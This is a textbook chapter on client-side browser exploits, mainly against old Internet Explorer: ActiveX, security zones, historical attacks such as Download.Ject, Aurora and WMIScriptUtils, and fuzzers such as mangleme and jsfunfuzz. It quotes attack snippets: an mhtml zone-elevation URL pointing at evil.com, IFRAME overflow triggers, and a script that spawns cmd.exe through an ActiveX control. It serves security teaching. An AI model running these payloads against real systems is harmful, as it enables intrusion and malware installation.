CHAPTER 23
Client-Side Browser Exploits
In this chapter, you will learn about client-side vulnerabilities and several tools for discovering browser-based client-side vulnerabilities. This chapter mostly focuses on vulnerabilities affecting Internet Explorer on the Microsoft Windows platform, but the concepts can be extended to other classes of client-side vulnerabilities and other platforms on which client-side applications run.
In this chapter, we cover the following topics:
• Why client-side vulnerabilities are interesting
• Internet Explorer security concepts
• History of client-side exploits and latest trends
• Finding new browser-based vulnerabilities (with mangleme, jsfunfuzz, css-grammar-fuzzer, AxEnum, and AxMan)
• Heap spray to exploit
• Protecting yourself from client-side exploits
Why Client-Side Vulnerabilities Are Interesting
Client-side vulnerabilities are vulnerabilities in client software such as web browsers, e-mail applications, and media players. At first, you might not think that these vulnerabilities are very interesting. After all, wouldn’t an attacker have to get access to your client workstation in order to target vulnerabilities in your client software? The firewall should protect you from those attacks, right? Oh, and your corporation uses a proxy server to protect against web attacks, so that is double protection! And it’s not like the attack could take over the system either, right? It’s just a web browser... This section addresses those misconceptions.
Client-Side Vulnerabilities Bypass Firewall Protections
With more and more computers protected from attack by a host-based or perimeter firewall, attackers have changed tactics. The fire-and-forget attacks of 2003 are now blocked by on-by-default firewalls. This change makes client-side vulnerabilities more interesting to the attacker.
If you recall, firewalls typically block new, inbound connection attempts but allow users behind the firewall to create outbound connections, which allow both parties of that established connection to communicate freely in both directions over that channel.
If an attacker wants to attack your firewall-protected computer, he will normally be blocked by your firewall. However, if the attacker instead hosts the domain evil.com and entices you to browse to www.evil.com, he now has a communication channel to interact with your computer. The universe of attack possibilities is limited for this attacker, however. He needs to find a vulnerability either in the browser or in a component that the browser uses to display web content. If the attacker finds such a vulnerability, the firewall is no longer relevant. Your established connection to www.evil.com allows the attacker to present an attack over this connection.
Client-Side Applications Are Often Running with Administrative Privileges
Client-side vulnerabilities exploited for code execution result in attack code executing at the same privilege level as the client-side application executes normally. Contrast this with attacks such as Blaster, Slammer, or Conficker, all of which targeted system services running at a high privilege level (typically LocalSystem). However, do not be fooled into thinking that client-side vulnerabilities are less dangerous than system service exploits. Many users log onto their workstation as a user in the local Administrators group. If the users are logged in as an administrator, their Internet Explorer or Outlook session is also running as an administrator. Successful client-side exploits targeting that Internet Explorer or Outlook session also would run with administrative privileges. This gives all the same rights as an attack against a system-level service—administrators can install rootkits and key loggers, install and start services, and access LSA secrets. With these rights, the attack also covers its tracks in the event log. If victims log on as an administrator, they are vulnerable to potential “browse-and-you’re-owned” exploits.
NOTE
Windows Vista and later Microsoft operating systems include several new features to help client-side applications not run with full administrative privileges. Internet Explorer Protected Mode and Vista’s User Access Control are useful defense-in-depth features to help users run at a lower privilege level. For more detail on how to run at a lower privilege level on down-level Windows platforms, see the “Run Internet-Facing Applications with Reduced Privileges” section later in this chapter.
Client-Side Vulnerabilities Can Easily Target Specific People or Organizations
For attackers earning 20 cents per adware install, it doesn’t matter who is targeted by the attack—they earn the same 20 cents regardless of the victim. However, some attackers are interested in targeting specific victims or victims belonging to a specific group, company, or organization. We’re starting to hear more often in the news now that corporations and nation-states are being targeted by client-side attacks with the intent of industrial espionage and stealing secrets. This is sometimes referred to as spear phishing.
NOTE
More information on spear phishing can be found at the following URLs: www.microsoft.com/protect/fraud/phishing/symptoms.aspx www.pcworld.com/article/122497/threat_alert_spear_phishing.html
Client-side vulnerabilities are especially effective in spear phishing attacks because an attacker can easily choose a set of “targets” (people) and deliver a lure to them via e-mail without knowing anything about their target network configuration. Attackers build sophisticated, convincing e-mails that appear to be from a trusted associate. Victims click on a link in the e-mail and end up at evil.com with the attacker serving up malicious web content from an attack web server to the victim’s workstation. If an attacker has found a client-side vulnerability in the victim’s browser or a component used by the browser, she can then run code on any specific person’s computer whose e-mail is known.
Internet Explorer Security Concepts
To understand how these attacks work, it’s important to understand the components and concepts Internet Explorer uses for a rich and engaging browsing experience. The two most important ideas to understand are ActiveX controls and Internet Explorer security zones.
ActiveX Controls
Microsoft added ActiveX support to Internet Explorer to give developers the opportunity to extend the browsing experience. These “controls” are just small programs written to be run from within a container, usually Internet Explorer. ActiveX controls can do just about anything that the user running them can do, including access the registry or modify the file system. Yikes! Before Internet Explorer will install and run an ActiveX control, however, it presents a security warning to the user along with a digital signature from the control’s developer. The user then makes a trust decision based on the developer, the name of the control, and the digital signature. The danger comes when a control is marked as safe to be scripted by anyone, is signed by a trustworthy corporation, and has a security vulnerability. When a bad guy finds this vulnerability, he can host a copy of the ActiveX control on his evil.com web server, build HTML code to instantiate the ActiveX control, and then lure an unsuspecting user to browse to the web page and accept the security dialog box. As an example of how ActiveX controls work, the following text is HTML that instantiates the Adobe Flash ActiveX control to play a movie:
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/
swflash.cab#version=8,0,0,0"><PARAM NAME="movie" VALUE="button1.swf">
You can interpret the preceding blob of HTML by breaking it down into the following components:
• I want to load an object having the identifier d27cdb6e-ae6d-11cf-96b8-444553540000. If it’s already installed, information about where it is installed can be found in the registry under HKCRCLSID{d27cdb6e-ae6d-11cf-96b8-444553540000}.
• If the control is not yet installed, I want to download it from http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab.
• This movie requires version 8.0.00.0 or higher. If a version less than 8.0.00.0 is installed, download http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab and use that object instead of the object already installed.
• This object takes a parameter named movie. The value to pass to this parameter is “button1.swf” on the current web page.
There are some very interesting security implications here when you think about an attacker hosting an <OBJECT> tag and luring an unsuspecting user to the website. Chew on that for a while and we’ll discuss abusing the design factors of ActiveX controls later in the chapter.
Internet Explorer Security Zones
One more piece of background knowledge you need to understand client-side browser exploits is the idea of Internet Explorer security zones. Assigning websites to different “zones” gives you the flexibility to trust some websites more than others. For example, you might choose to trust your corporate web server and allow it to run Java applications, but refuse to run Java applications from web servers on the Internet. The four built-in IE security zones are Restricted Sites, Internet, Intranet, and Trusted Sites from least permissive to most permissive. You can read about the default security settings for each zone and how IE decides which zone the URL should be loaded in at http:// msdn2.microsoft.com/en-us/library/ms537183.aspx. There’s also one implicit security zone called Local Machine zone.
As you might guess, web pages loaded in the most restrictive Restricted Sites zone are locked down. They are not allowed to load ActiveX controls or even to run JavaScript. One important use for this zone is viewing the least trusted content of all—e-mail. Outlook uses the guts of Internet Explorer to view HTML-based e-mail and it loads content in the Restricted Sites zone, so viewing in the Outlook preview pane is fairly safe. As you might guess, the trust level increases and security restrictions are relaxed as you progress along the zone list. Scripting and safe-for-scripting ActiveX controls are allowed in the Internet zone but IE won’t pass NTLM authentication credentials. Sites loaded in the Intranet zone are assumed to have some level of trust, and some security restrictions are relaxed, enabling intranet line-of-business applications to work. The Local Machine zone (LMZ) is where things get really interesting to the attacker, though.
Before Windows XP Service Pack 2, web pages loaded in the LMZ could run unsigned or unsafe ActiveX controls, could run Java applets without prompt, and could run all kinds of super-dangerous stuff that attackers would love to be able to do from their attack web page. It was basically trivial for attackers to install malware onto a victim workstation if they could get their web page loaded in the LMZ. These attacks were called zone elevation attacks, and their goal was to jump cross-zone (from the Internet zone to the Local Machine zone, for instance) to run scripts with fewer security restrictions. As we look next at real-world client-side attack examples, you will understand why attackers would try so hard and jump through so many hoops to get an attack web page loaded in the LMZ.
References
“About URL Security Zones” (Microsoft) msdn2.microsoft.com/en-us/library/ms537183.aspx
“Deploying Windows XP Service Pack 2 Using Software Update Service” (Microsoft) technet.microsoft.com/en-us/library/bb457097.aspx
History of Client-Side Exploits and Latest Trends
Client-side vulnerabilities and attacks abusing those vulnerabilities have been around for years. In fact, one of the earliest security bulletins (MS98-011) listed in Microsoft’s security bulletin search fixed an IE4 client-side vulnerability in JScript parsing. However, the attacks of 1998 were more often targeted at abusing vulnerabilities that have direct attack vectors, rather than those abusing client-side vulnerabilities. On the Windows platform, client-side vulnerabilities have become more prominent only in the last five years. In this section, we’ll take a short trip down memory lane to look at some of the more prominent vulnerabilities used by attackers to infect victims with malware. If you’re more interested in the discovery of new vulnerabilities than the history of this genre of attack, feel free to skip ahead to the next section.
Client-Side Vulnerabilities Rise to Prominence
The year 2004 brought two important changes to the landscape of software security and malicious attacks. First, Service Pack 2 for Windows XP with its on-by-default firewall and security-hardened system services arrived and was pushed out over Windows Update to millions of computers, largely protecting consumers from directed attacks. Second, cybercriminals became more aggressive, targeting consumers with malware downloads. An entire industry sprang up offering a malware “pay-per-install” business model, and owners of those services didn’t ask any questions about how their “software” got installed. With money as an incentive and firewalls as a barrier, malicious criminals turned their attention to client-side attacks.
One interesting way to observe the growth of client-side vulnerabilities is to chart over time the proportion of Microsoft security bulletins released addressing client-side vulnerabilities and the proportion addressing other vulnerabilities. Symantec did exactly this analysis early in 2007 and published the chart shown in Figure 23-1 (see www.symantec.com/connect/blogs/microsoft-patch-tuesday-february-2007). The light color represents client-side vulnerabilities and the dark color represents other vulnerabilities.
Notable Vulnerabilities in the History of Client-Side Attacks
To understand the present-day threat environment from client-side attacks, it will help to understand recent history and the set of attacks that got us here. Due to its prevalence, we’ll again focus on vulnerabilities affecting Microsoft Windows.
MS04-013 (Used by Ibiza and then Download.Ject Attacks)
This vulnerability was a zone elevation attack that resulted in an attacker’s HTML being loaded in the LMZ. It was also the first widespread “browse-and-you’re-owned” attack and scared a lot of people into using Firefox. And it was the first time Russian cyber-criminals were so blatantly involved in such an organized fashion. So it’s important to start here.
From the security zones discussion earlier in the chapter, remember that web pages loaded in the LMZ can do all sorts of dangerous stuff. The favorite LMZ trick of 2004 was to use the ActiveX control ADODB.Stream installed by default on Windows as part of Microsoft Data Access Components (MDAC) to download and run files from the Internet. ADODB.Stream would only do this when run from the trusted Local Machine zone.
The actual vulnerability used in the Ibiza and Download.Ject attacks was in the mhtml: protocol handler. A protocol handler is code that handles protocols like http:, ftp:, and rtsp:. Internet Explorer passes the URL following the protocol name to the protocol handler to, well, handle. The mhtml: protocol URLs are of the following form mhtml://<ROOT-URL>!<BODY-URL>, with the body URL being loaded into the root URL. However, the mhtml: protocol handler had a critical flaw that allowed a cross-zone elevation from the Internet zone into the LMZ. If the <ROOT-URL> in the preceding syntax was not reachable, IE would load only the <BODY-URL>, but would load that URL into the same security zone where the ROOT-URL would have been loaded if it had existed.
Figure 23-1 Increase in proportion of Microsoft security updates addressing client-side vulnerabilities
More concretely, imagine what would happen given the vulnerable mhtml: protocol handler loading this URL: mhtml:file://c:/bogus.mht!http://evil.com/evil.html. The <ROOT-URL> points to a file on the local file system. However, the attackers used a reference that they knew would never exist. The location could not be found, but IE still navigates to the <BODY-URL>, unfortunately opened in the Local Machine zone from which the <ROOT-URL> was supposed to be loaded. Whoops! In the case of Ibiza and Download.Ject, this evil.html used ADODB.Stream to download and run arbitrary files on the computer that browsed to the web page hosting the exploit. The Download.Ject attack further attempted to propagate itself by looking for HTML files on the compromised system and appending attack code to the footer of every page. It was an elaborate attack propagated by Russian cybercriminals who used it to harvest credit card numbers and username/passwords via keyloggers. The malware side of this attack was super interesting, and you can find out more by reading the articles listed in the upcoming “References” section.
So, here’s a short recap of the Ibiza and Download.Ject attacks:
• An unsuspecting web browser visits an untrusted page in the Internet zone.
• An attacker abuses a cross-zone vulnerability in the mhtml: protocol handler, which causes the attacker’s HTML page to load into the Local Machine zone.
• From the Local Machine zone, the attacker uses the ADODB.Stream ActiveX control to download and run malware.
This attack required discovery of a vulnerability in how the protocol handler worked. There was no buffer overrun involved here, no shellcode or fancy tricks to redirect execution flow from the assembly level.
References
Download.ject (Wikipedia) en.wikipedia.org/wiki/Download.ject
Download.Ject Trojan” (IBM Internet Security Systems) xforce.iss.net/xforce/xfdb/16541
“Microsoft Internet Explorer ITS Protocol Zone Bypass Vulnerability” [Ibiza attacks] (SecurityFocus) www.securityfocus.com/bid/9658/exploit
“Microsoft Statement Regarding Download.Ject Malicious Code Security Issue” www.microsoft.com/presspass/press/2004/jun04/0625download-jectstatement.mspx
MS04-040 (IFRAME Tag Parsing Buffer Overrun)
The next client-side vulnerability that was used in widespread attacks was an HTML parsing vulnerability in Internet Explorer. Michal Zalewski in October 2004 wrote an HTML fuzzer that he called mangleme. He used it to find several Internet Explorer crashes that he posted to Bugtraq along with a copy of his tool. A hacker named ned then used a Python port of this tool to find a simple bug that ended up being abused by hackers for years afterward.
<iframe src=AAAAAAAAAAAAAA.... name=BBBBBBBBBBBBB....>
A hacker named Skylined looked more closely at this bug and posted this analysis to Bugtraq on October 24, 2004:
There is an exploitable BoF in the FRAME, EMBED and IFRAME tag using the SRC and NAME property. To trigger the BoF you only need this tag in a HTML file:
<IFRAME SRC=AAAAAAAAAAAA.... NAME="BBBBBBBBBBB....">
This will overwrite EAX with 0x00420042, after which this gets executed:
7178EC02 8B08 MOV ECX, DWORD PTR [EAX]
7178EC04 68 847B7071 PUSH SHDOCVW.71707B84
7178EC09 50 PUSH EAX
7178EC0A FF11 CALL NEAR DWORD PTR [ECX]
Control over EAX leads to control over ECX, which you can use to control EIP:
Remote Command Execution.
A week later, Skylined posted JavaScript to Bugtraq that exploited this vulnerability. He called the JavaScript “InternetExploiter” and it became the basis for exploiting IE vulnerabilities from that moment on. We’ll discuss InternetExploiter in more detail later in this chapter.
Reference
mangleme tool freshmeat.net/projects/mangleme/
Javaprxy.dll (First of the COM Objects)
Remember from the “Internet Explorer Security Concepts” section of this chapter that Internet Explorer loads ActiveX controls via the HTML <OBJECT> tag pointing to a specific registered class ID (clsid). The example we used earlier was the Adobe Flash ActiveX control clsid d27cdb6e-ae6d-11cf-96b8-444553540000. If you search in your registry for that clsid, you’ll probably find in the HKCR hive a registry entry that points to compiled code (for example, C:windowssystem32MacromedFlashFlash9b.ocx) that is written specifically to handle ActiveX instantiation via the <OBJECT> tag and that attempts to play Flash movies.
The “glue” that makes this object instantiation and parameter passing work is COM. It’s not very important for you to know much about COM itself to understand and discover the type of bugs we’ll be talking about in this section. However, lots and lots of objects registered on every system use COM but are not ActiveX controls. In fact, most objects having an HKCR COM registration are not ActiveX controls and don’t know how to respond to the function calls that Internet Explorer normally makes into ActiveX controls after they are instantiated. Unfortunately, IE doesn’t have any way to know whether an object requested with an <OBJECT> tag having a valid, registered clsid is an ActiveX control until after it is loaded.
This situation has existed for years in Internet Explorer. If someone fat-fingered (made a typo in) their HTML or cut and pasted the wrong clsid into an <OBJECT> tag, the requested functionality from the ActiveX control would not be present because generic COM objects don’t know anything about the ActiveX interfaces. And sometimes Internet Explorer would crash because IE attempted to call into an object in a way that the object was not expecting.
However, recall the IFRAME buffer overrun discussed in the previous section and our friend Skylined who wrote JavaScript to exploit that vulnerability for arbitrary code execution. We’ll go into detail about how his InternetExploiter framework works later in the chapter, but the short story is that it uses JavaScript to allocate a bunch of heap memory, fills that memory with NOP sleds and shellcode, and then releases the memory back to the OS to reuse. The Windows heap manager itself by default does not zero out memory between uses. It could, but that would incur a performance hit. The memory allocation function called by the component requesting the memory allocation can specify a flag asking for zero-initialized memory, but that is not the default option. So if the component does not specifically request zeroed-out memory, it doesn’t get it. Now with the attackers writing the HTML page and able to include things like Skylined’s InternetExploiter JavaScript, they control the contents of uninitialized memory when the victim loads web pages with Active Scripting enabled. Let’s see how that factors into a security vulnerability by examining the first exploitable COM object that started a stream of vulnerable COM objects in summer 2005.
When you installed the Java runtime, the installer registered javaprxy.dll as a COM object. Its developers intended it to be used only from within the Java runtime context to do profiling. However, because it is a registered COM object, at the time it could be instantiated any way COM objects can be instantiated, including via the <OBJECT> tag in an HTML page. Unfortunately, this COM object had a special initialization requirement. To set up and use the object, the caller first needs to use the CreateInstance() method, a standard part of initializing any COM object. The second step was to call the object’s custom initialization method, which set variables to initial values and finished performing object setup. The JVM environment knew how to do this, and javaprxy.dll worked great in that environment. Internet Explorer, unfortunately, knows nothing about custom COM objects. IE knows only about the generic ActiveX interfaces that it tried to use after calling CreateInstance(). So IE loaded the object, but its variables and function table were not initialized properly. In fact, it was using uninitialized memory. Unfortunately, uninitialized memory in this context is attacker-controlled memory, due to portions of the HTML page being the previous resident of this memory with no initialization having been done between uses. With those concepts understood, let’s look at how the attack actually happened. First, here was the HTML:
<HTML>
<BODY>
<OBJECT CLASSID="CLSID:03D9F3F2-B0E3-11D2-B081-006008039BF0"></OBJECT>
[ATTACKER'S HTML]
</BODY>
<SCRIPT>location.reload();</SCRIPT>
</HTML>
That clsid belonged to javaprxy.dll, having been registered via the JVM install. The attacker’s HTML in the body of this page was loaded first, processed by Internet Explorer for display, and then that memory was released back to the system to be reused. Next, IE processed the <OBJECT> tag and loaded the javaprxy.dll object via COM using memory supplied by the Windows heap memory manager; memory having just been returned to the heap memory from displaying the HTML. With the javaprxy.dll object loaded and supposedly initialized, IE attempted to follow the normal ActiveX process, calling into the standard interfaces of the ActiveX protocol. Somewhere in the machinery, this obviously failed because the ActiveX interfaces are not implemented (it was not an ActiveX control). IE then attempted to release the object. To do so, it looked up the object’s table of functions, found the release() function (offset 0x8 from the object pointer), and called it. This function call ended up looking at the assembly level for “call [object-pointer]+0x8.” This seemed okay from the IE perspective, right? After all, we didn’t want to leak memory even if the HTML was busted. But now let’s look at the assembly equivalent of what was just described. In the display that follows, the pageheap flag is enabled, which initializes all memory to 0xc0. Any time you see 0xc0, you know that memory was not initialized before use. Here’s what the crash looked like in the debugger at the point of the access violation:
(f8c.220): Access violation - code c0000005 (!!! second chance !!!)
eax=c0c0c0c0 ebx=056a6ae8 ecx=075a9608 edx=7c97c080 esi=075a9130 edi=00000000
eip=7c508666 esp=0013e59c ebp=0013e5b8 iopl=0 nv up ei ng nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286
*** ERROR: Symbol file could not be found. Defaulted to export symbols for
C:WINDOWSsystem32javaprxy.dll -javaprxy+0x8666:
7c508666 8b08 mov ecx,[eax] ds:0023:c0c0c0c0=????????
The eax register is loaded with uninitialized memory, which is not surprising since the second phase of initialization was never called. The other registers look okay, but ecx is about to be filled with the contents of memory where eax points. This pointer is uninitialized memory controlled by the attacker. Let’s look at what happens next to determine if this is an immediately exploitable condition, or if it’s going to take some work:
0:000> u
javaprxy+0x8666:
7c508666 8b08 mov ecx,[eax] <--This is the access violation we see
above
7c508668 50 push eax
7c508669 ff5108 call dword ptr [ecx+0x8]
7c50866c c3 ret
After ecx gets populated with attacker-controlled memory, we push eax and then make a function call to ecx+0x8. The attacker controls where ecx points, so any fixed offset from ecx is effectively calling into an attacker-controlled location. This vulnerability was exploitable and was abused by hundreds of websites to install malware.
MS06-073 (WMIScriptUtils, Design Vulnerability)
The next important client-side vulnerability to discuss in this chapter was fixed by Microsoft in December 2006. This vulnerability actually only affected people who had Visual Studio installed and then browsed to a malicious website—the total infection count traced back to this vulnerability is thought to be quite low. However, it is an interesting vulnerability because it shows that even companies that “get” security and normally do a good job making secure products sometimes make bad design decisions. Look at the following HTML snippet and decide whether you think it would work when hosted on evil.com, a malicious web page in the Internet zone:
<script>
var o = new ActiveXObject("WMIScriptUtils.WMIObjectBroker2");
var x = o.CreateObject("WScript.Shell");
x.run("cmd.exe /k");
</script>
WMIScriptUtils.WMIObjectBroker2 is a safe-for-scripting ActiveX control. It was included with Visual Studio and was presumably needed to do some stuff in the Visual Studio environment. However, the WScript.Shell object, much like the ADODB.Stream object discussed earlier, is not a safe object to be instantiated in an untrusted environment. Attempts to instantiate WScript.Shell directly from the Internet zone will fail, as it is only to be used in a trusted environment such as the Local Machine zone. However, Russian hackers discovered that instantiating the safe-for-scripting WMIScriptUtils. WMIObjectBroker2 ActiveX control, and then calling the method CreateObject() defined on the ActiveX control, allowed them to create any arbitrary object, bypassing security checks! They promptly used this client-side vulnerability to install malware by hosting the exploit code on hundreds of adult websites. At the time it was being abused, no other IE zero-day vulnerability was widely known in the community, so anybody who wanted to install malware was using this vulnerability.
You can use the AxMan tool described in a later section to enumerate all methods that an ActiveX control supports. When you’re hunting for a vulnerability and see methods such as CreateObject() or Launch() or Run(), take a close look to make sure they can’t be repurposed to run malicious code.
Reference
Microsoft Security Bulletin MS06-073 (WMIScriptUtils) www.microsoft.com/technet/security/bulletin/ms06-073.mspx
Metasploit exploit www.metasploit.com/modules/
MS10-002 (“Operation Aurora”)
The final example vulnerability we’ll examine was addressed by Microsoft Security Bulletin MS10-002. This vulnerability was important for both historical and technical reasons. Attacks leveraging this vulnerability (dubbed “Operation Aurora”) made news headlines internationally. Everyone everywhere was talking about this. When Google threatened to abandon its business operations in China, it blamed attacks leveraging this Internet Explorer 6 vulnerability as a primary cause of its planned exit. McAfee coined the phrase “Advanced Persistent Threat” after examining the attacks that exploited the vulnerability addressed by MS10-002. The United States president mentioned these attacks in national forums. It was the first time that a client-side browser-based attack had gained such notoriety.
The vulnerability addressed by MS10-002 was also representative of the types of Internet Explorer vulnerabilities discovered and addressed by Microsoft during 2009 and 2010. The vulnerability details are public thanks to the Metasploit project and can be studied by following the links in the upcoming “References” section. This vulnerability and the majority of Internet Explorer vulnerabilities addressed by Microsoft security updates recently have been memory safety issues along the following pattern:
• Object is created via HTML or script
• Object is deleted, freed, or reassigned in script
• Exploit triggers garbage collection or a markup reload, freeing the object
• Object memory that has been freed is referenced via HTML or script
You can see in the public exploit for this vulnerability that an “event” object was created via an onClick() handler, a shallow copy of that object was made via JavaScript, the object’s content were released via an innerHTML assignment, and then the object’s srcElement that had been freed was referenced again via JavaScript. You’ll see this pattern repeatedly in the vulnerabilities addressed by recent Internet Explorer security bulletins.
References
Original MS10-002 public exploit wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js
Deobfuscated exploit in Python (Ahmed Obied) praetorianprefect.com/wp-content/uploads/2010/01/ie_aurora.py_.txt
Microsoft Security Bulletin MS10-002 www.microsoft.com/technet/security/bulletin/ms10-002.mspx
“Operation Aurora” (analysis of the vulnerability and malware payload by HBGary Federal) www.hbgary.com/wp-content/themes/blackhat/images/hbgthreatreport_aurora.pdf
Finding New Browser-Based Vulnerabilities
Now that you’re convinced that browser-based vulnerabilities are important, and have seen several recent examples of client-side vulnerabilities used by criminals to install malware, it’s (finally) time to show you how to find client-side vulnerabilities yourself. The easiest way to get started finding client-side vulnerabilities is to look at tools released in the last few years. Understanding how each tool works and why it found bugs will help you find your own new vulnerabilities.
mangleme
Mangleme was the first publicly released fuzzing tool to specifically target browser-based client-side vulnerabilities. It’s a little outdated now, but it is super simple to set up, use, and understand, so we’ll start here. You can follow along with this discussion by downloading the mangleme source code from http://freshmeat.net/projects/mangleme.
The extracted tarball (.tar file) has three relevant files. Tags.h has a list of HTML tags and relevant parameters for each. Here’s a snippet of the file:
{ "A", "NAME", "HREF", "REF", "REV", "TITLE", "TARGET", "SHAPE", "onLoad", "STYLE",
0 },
{ "APPLET", "CODEBASE", "CODE", "NAME", "ALIGN", "ALT", "HEIGHT", "WIDTH",
"HSPACE", "VSPACE", "DOWNLOAD", "HEIGHT", "NAME", "TITLE", "onLoad", "STYLE", 0 },
{ "AREA", "SHAPE", "ALT", "CO-ORDS", "HREF", "onLoad", "STYLE", 0 },
{ "B", "onLoad", "STYLE", 0 },
{ "BANNER", "onLoad", "STYLE", 0 },
...
As you can see, the first entry in each line is an HTML tag, and the words that follow are parameters to that element. For example, “<A HREF=http://www.microsoft.com>Link to Microsoft</A>” is a common bit of HTML to include a hyperlink on a web page. Having a vocabulary of valid HTML allows mangleme to build better fuzzing test cases than pure dumb fuzzing is able to do.
The second interesting source file is mangle.cgi, two pages of code that drive the whole system. It’s really simple code that builds up a page of HTML one tag at a time. It has just three functions. In main(), you’ll see that each page starts with the following hard-coded HTML:
<HEAD>
<META HTTP-EQUIV="Refresh" content="0;URL=mangle.cgi">
This meta refresh tag instructs the browser loading the HTML to fully load the page and then immediately (0 seconds later) redirect to the URL mangle.cgi. This simply reloads the same page over and over again, each time generating a different set of HTML. Following that header, main() generates a random seed and a random number between 1 and 100. It then calls random_tag() the random number of times. Each call to random_tag() picks one line from tags.h and generates a tag having a valid HTML element, some valid parameters set to bogus values, and some bogus parameters set to bogus values. The third function, make_up_value(), sometimes returns valid HTML constructs, and sometimes returns a random string of characters. Sometimes you’ll get a tag having completely well-formed HTML, and other times you’ll find complete garbage. Here’s a portion of an example HTML page returned by mangleme:
<META NAME=∼∼∼∼∼∼∼∼∼∼∼∼ STYLE="_blank" CONTENT_blank NAME=# onLoad="ïïïïïï"
STYLEabout:mk:_blank><MAP onLoad=http:714013865 onLoad1008062749 NAME=
file:"-2002157890"" NAME=T onLoad=file:_self onLoad&mk:%n%n%n%n%n%n&*;;
onLoad=* STYLE=&&&&& onLoad="#" onLoad=222862563™ onLoad=ææææææææ onLoad=
±±±±±±±±"><HEAD STYLE="_self" onLoad="-152856702" STYLE=ÄÄÄÄÄ onLoad=top
onLoad=http:¨¨¨></FN STYLE="-1413748184" STYLE=mk:1896313193
STYLE289941981><ÙAREA CO-ORDS=1063073809 STYLE="_self" CO-ORDS=149636993
STYLE=1120969845><HR onLoad="javascript:""_blank""-1815779784"""SRC=
™™™™™™™™"></EMBED UNITS=mk:PALETTE=javascript:left SRC=46054687 WIDTH=file:"-23402756"" SRC=_blankleft NAME="_blank" UNITS=# PALETTE="*"><APPLET STYLE=ü DOWNLOAD=""""" NAME=,,,,,,, NAME=663571671 VSPACE="file:"-580782394""
WIDTH="_blank" CODEBASE_blank HEIGHT=http:_self CODEBASE=-1249625486"<<NOFRAMES onLoad="javascript:"-1492214208"" onLoad="" onLoad= " STYLE="" onLoad=< <<<<<<<<<<<<<<<<<<<<<<<<<<< onLoad=about:475720571
STYLE="" STYLE="top">
This type of random fuzzing is great for finding parsing bugs that the developers of the browser did not intend to have to handle. With each generated HTML page, mangleme logs both the random seed and the iteration number. Given those two keys, it can regenerate the same HTML again. This is handy when you discover a browser crash and need to reproduce the exact HTML that caused it. You can simply make the same request again (with a different browser or wget) to remangle.cgi to easily report the bug to the browser’s developer.
Inside the mangleme tarball, you’ll find a gallery subfolder with HTML files generated by mangleme that have crashed each of the major browsers. Here are a few of the gems:
Mozilla:
<HTML><INPUT AAAAAAAAAA>
Opera:
<HTML>
<TBODY>
<COL SPAN=999999999>
MSIE:
<HTML>
<APPLET>
<TITLE>Curious Explorer</TITLE>
<BASE>
<A>
Each of these bugs, like the majority of bugs found by mangleme, is fixed in the latest version of the product. Does that make mangleme useless? Absolutely not! It is a great teaching tool and a framework you can use to quickly build on to make your own client-side fuzzing tool. And if you ever come across a homegrown HTML parser (such a bad idea), point it at mangleme to check the robustness of its error handling code.
Here are the things we learned from mangleme:
• You can use the meta refresh tag to easily loop over a large number of test cases.
• If you can define the vocabulary understood by the component, you can build better test cases by injecting invalid bits into valid language constructs.
• When the application being tested crashes, you need some way to reproduce the input that caused the crash. mangleme does this with its remangle.cgi component.
References
“HTMLer – An Automated Broken HTML Generator (mangleme Python Port)” www.securiteam.com/tools/6Z00N1PBFK.html
mangleme homepage freshmeat.net/projects/mangleme/mangleme example test page lcamtuf.coredump.cx/mangleme/mangle.cgi Meta refresh (Wikipedia) en.wikipedia.org/wiki/Meta_refresh
Mozilla Security Team Fuzzers
Jesse Ruderman and the Mozilla security team have publicly released their JavaScript and Cascading Style Sheet (CSS) fuzzers. We’ll take a brief look at jsfunfuzz (JavaScript fuzzer) and css-grammar-fuzzer (CSS fuzzer).
jsfunfuzz
While mangleme targets each of the core HTML elements, jsfunfuzz is scoped to instead target only JavaScript parsing and execution. As such, it does not reload the page over and over using the meta refresh tag. Instead, the test suite contains one core HTML file, jsfunfuzz.html, that references script within jsfunfuzz.js where the fuzzing smarts live. The jsfunfuzz.js fuzzer creates semi-random, sometimes invalid JavaScript functions. It then attempts to compile, decompile, and execute these functions just as a web browser would when presented with the same script.
When it was first released in 2007, the Mozilla security team announced that jsfunfuzz had found 280 bugs in Firefox’s JavaScript engine, two dozen of which were memory safety bugs that could lead to code execution exploits when browsing to a malicious web page. This fuzzer is effective because the JavaScript it generates is more correct and exercises more of the engine than would JavaScript generated by random fuzzing. It also employs some dirty tricks, such as splitting the function in half and compiling each half separately to uncover bugs in the JavaScript compiler’s error handling, and generating functions with horrendous levels of nesting.
Jsfunfuzz can be used within the browser directly, and in so doing we stumbled upon a crash in fully patched Firefox on Mac OS X while preparing this chapter. Unfortunately, all you get in the event of a crash is a crash dump or a break-in with the debugger attached. It was difficult to reveal the vulnerable JavaScript function that caused the crash. Jsfunfuzz does not have an equivalent of mangleme’s remangle.cgi to easily reproduce the same condition again. To address this shortcoming, the tool’s author suggests running it instead from a stand-alone JavaScript shell. The Mozilla team released a command-line shell to exercise their SpiderMonkey JavaScript engine. Using jsfunfuzz from within this shell allows you to more easily isolate the JavaScript trigger that caused the crash. If you find and isolate a crash, you can ensure you do not continue to hit the same issue over and over by excluding it from future JavaScript generation iterations. Look for the whatToTestSpidermonkey and whatToTestJavaScriptCore functions within jsfunfuzz.js for example code to exclude known crashes.
You can download the jsfunfuzz tool at https://bugzilla.mozilla.org/attachment.cg i?bugid=349611&action=viewall. Scroll toward the bottom of that page and click Download the Attachment Instead to download a ZIP file containing the files needed to run the fuzzer.
References
“Fuzzing for Correctness” (Jesse Ruderman) www.squarefree.com/2007/08/02/fuzzing-for-correctness/
“Introducing jsfunfuzz” (Jesse Ruderman) www.squarefree.com/2007/08/02/introducing-jsfunfuzz/
“Introduction to the JavaScript Shell” (Mozilla Developer Center) developer.mozilla.org/en/Introduction_to_the_JavaScript_shell jsfunfuzz bugzilla.mozilla.org/show_bug.cgi?id=jsfunfuzz
css-grammar-fuzzer
